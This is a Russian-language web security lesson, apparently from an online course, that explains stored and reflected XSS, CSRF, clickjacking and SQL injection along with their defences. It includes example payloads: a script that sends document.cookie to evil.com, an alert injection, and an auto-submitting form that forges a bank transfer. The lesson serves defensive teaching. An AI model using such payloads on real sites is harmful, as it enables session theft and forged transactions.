XSS, CSRF и другие распространённые атаки

XSS, CSRF и другие распространённые атаки

CORS и CSP — защитные механизмы. Чтобы понять, зачем они нужны, разберём две главные атаки на веб-приложения: XSS (внедрение скрипта) и CSRF (подделка запроса). Каждый разработчик должен понимать, как они работают и как от них защищаться.

XSS: внедрение скрипта

XSS (Cross-Site Scripting) — атака, при которой злоумышленник внедряет JavaScript-код на страницу, которую видят другие пользователи. Атака возможна, когда сайт вставляет пользовательские данные в HTML без экранирования.

Хранимая (stored) XSS. Данные сохраняются в базу, а потом выводятся всем пользователям:

1. Злоумышленник оставляет комментарий:
   "Отличный пост! <script>fetch('https://evil.com/?cookie=' + document.cookie)</script>"

2. Комментарий сохраняется в базу данных «как есть».

3. Каждый, кто открывает страницу, получает этот скрипт.
   Браузер выполняет его — куки сессии утекают на evil.com.

Отражённая (reflected) XSS. Данные приходят в URL и сразу отражаются в ответе:

GET /search?q=<script>alert('XSS')</script>

Сервер выводит: «Результат поиска для: <script>alert('XSS')</script>»
Скрипт выполняется в браузере жертвы, перешедшей по ссылке.

Защита от XSS:

  1. Экранирование. Все пользовательские данные перед вставкой в HTML прогоняются через функцию экранирования: <&lt;, >&gt;, "&quot;. Современные фреймворки (React, Vue) делают это автоматически.
  2. CSP. script-src 'self' блокирует инлайн-скрипты — даже если злоумышленник вставил <script>, он не выполнится.
  3. HttpOnly cookies. Сессионная cookie с флагом HttpOnly не видна JavaScript (document.cookie) — даже при успешном XSS украсть её нельзя.

CSRF: подделка запроса

CSRF (Cross-Site Request Forgery) эксплуатирует доверие, а не внедрение кода. Злоумышленник заставляет браузер жертвы отправить запрос к сайту, где жертва аутентифицирована:

1. Иван залогинен на bank.com (в браузере есть сессионная cookie).

2. Злоумышленник заманивает Ивана на evil.com, где есть форма:
   <form action="https://bank.com/transfer" method="POST">
     <input type="hidden" name="to" value="attacker"/>
     <input type="hidden" name="amount" value="10000"/>
   </form>
   <script>document.forms[0].submit();</script>

3. Браузер Ивана отправляет POST /transfer с cookies для bank.com.
   Сервер видит валидную сессию и выполняет перевод.

Браузер автоматически прикрепляет cookies к запросу к bank.com, даже если инициатор запроса — evil.com. Это ключевая особенность HTTP: сессионная cookie не привязана к инициирующему сайту.

Защита от CSRF:

1. SameSite cookie. Современная и основная защита. Кука с SameSite=Lax (значение по умолчанию в современных браузерах) не отправляется с POST-запросов, инициированных с другого сайта:

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax

SameSite=Strict — ещё строже: кука не отправляется даже при переходе по ссылке с другого сайта (пользователь всегда начинает без сессии). SameSite=Lax — компромисс: кука отправляется с навигацией (GET), но не с AJAX-запросов.

2. CSRF-токен. Сервер генерирует случайный токен, встраивает его в форму и проверяет при отправке:

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="r4nd0m_t0k3n"/>
  ...
</form>

Сервер проверяет, что csrf_token из формы совпадает с выданным в сессии. Злоумышленник на evil.com не может прочитать токен (SOP блокирует чтение страниц bank.com).

3. Проверка Origin/Referer. Сервер проверяет заголовок Origin, убеждаясь, что запрос пришёл с правильного сайта.

Другие атаки (краткий обзор)

Clickjacking. Злоумышленник встраивает сайт жертвы в прозрачный iframe поверх своей страницы. Пользователь думает, что кликает по кнопке игры, а на самом деле — по кнопке «Перевести деньги». Защита: X-Frame-Options: DENY или CSP frame-ancestors 'none'.

SQL Injection. Внедрение SQL-кода через данные формы. Не относится к HTTP напрямую, но частая атака. Защита: параметризованные запросы ($1, ?), никогда не склеивать SQL-строки с пользовательским вводом.

Проверь себя

  1. Чем Stored XSS отличается от Reflected XSS?
  2. Почему SameSite=Lax защищает от CSRF?
  3. Какой флаг cookie защищает от кражи сессии через XSS?
<details> <summary>Ответы</summary>
  1. Stored XSS сохраняется в базу данных и атакует всех посетителей страницы. Reflected XSS приходит в URL и атакует только того, кто перешёл по специальной ссылке.
  2. SameSite=Lax не отправляет cookie с POST-запросами, инициированными с другого сайта (AJAX, форма). CSRF использует именно такие запросы — они перестают работать.
  3. HttpOnly. JavaScript не может прочитать cookie с этим флагом (document.cookie её не видит). Даже если XSS удался, сессионную cookie украсть нельзя.
</details>

Что унести с урока

  • XSS — внедрение скрипта через неэкранированные данные. Защита: экранирование + CSP + HttpOnly.
  • CSRF — подделка запроса с cookie жертвы. Защита: SameSite cookie + CSRF-токен + проверка Origin.
  • SameSite=Lax — минимальная и обязательная защита от CSRF для всех сессионных cookie.
  • Clickjacking, SQL Injection — дополнительные векторы, требующие отдельных средств защиты.

В следующем уроке разберём аутентификацию — как токены и cookies на практике обеспечивают безопасный вход в приложение.

Попробуйте интерактивную версию

Практические задачи, квизы и AI-наставник — бесплатный старт без карты

Перейти к практике